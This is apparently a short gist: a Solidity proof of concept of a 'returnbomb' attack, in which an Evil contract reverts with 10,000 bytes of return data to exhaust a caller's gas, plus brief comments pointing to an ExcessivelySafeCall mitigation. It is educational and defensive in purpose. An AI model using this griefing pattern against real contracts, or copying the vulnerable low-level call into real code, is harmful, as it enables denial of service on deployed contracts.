This is a returnbomb attack example.

ReturnBombExample.sol

// SPDX-License-Identifier: MIT
pragma solidity 0.8.19;

/**
 * @title Returnbomb attack example
 * @author pcaversaccio
 */
contract Evil {
    uint256 public counter;

    function startBomb() external returns (bytes memory) {
        ++counter;
        // solhint-disable-next-line no-inline-assembly
        assembly {
            revert(0, 10000)
        }
    }
}

contract Victim {
    function oops() public returns (bool, bytes memory) {
        Evil evil = new Evil();
        /// @dev If you put 3396 gas, the subcall will revert with an OOG error.
        (bool success, bytes memory returnData) =
        // solhint-disable-next-line avoid-low-level-calls
         address(evil).call{gas: 3397}(abi.encodeWithSelector(evil.startBomb.selector));
        return (success, returnData);
    }
}

@pcaversaccio seems it may be possible to avoid the return bomb using assembly? Something like this? - https://github.com/nomad-xyz/ExcessivelySafeCall/blob/main/src/ExcessivelySafeCall.sol

Yup, that attack vector can be prevented if required by the use case.